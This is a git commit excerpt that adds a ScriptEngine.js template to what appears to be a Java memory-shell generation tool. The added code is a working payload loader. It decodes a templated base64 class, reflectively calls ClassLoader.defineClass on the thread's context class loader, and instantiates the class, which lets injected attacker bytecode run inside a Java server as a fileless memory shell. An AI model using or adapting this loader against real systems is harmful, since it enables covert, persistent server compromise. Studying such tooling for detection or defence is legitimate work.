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refactor: loadResource

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ReaJason
2025-09-12 22:51:50 +08:00
parent e1f0e7f4bd
commit c31c3bd958
19 changed files with 93 additions and 93 deletions
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packer/src/main/resources/memshell-party/ScriptEngine.js
+17
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@@ -0,0 +1,17 @@
var base64Str = "{{base64Str}}";
var className = "{{className}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();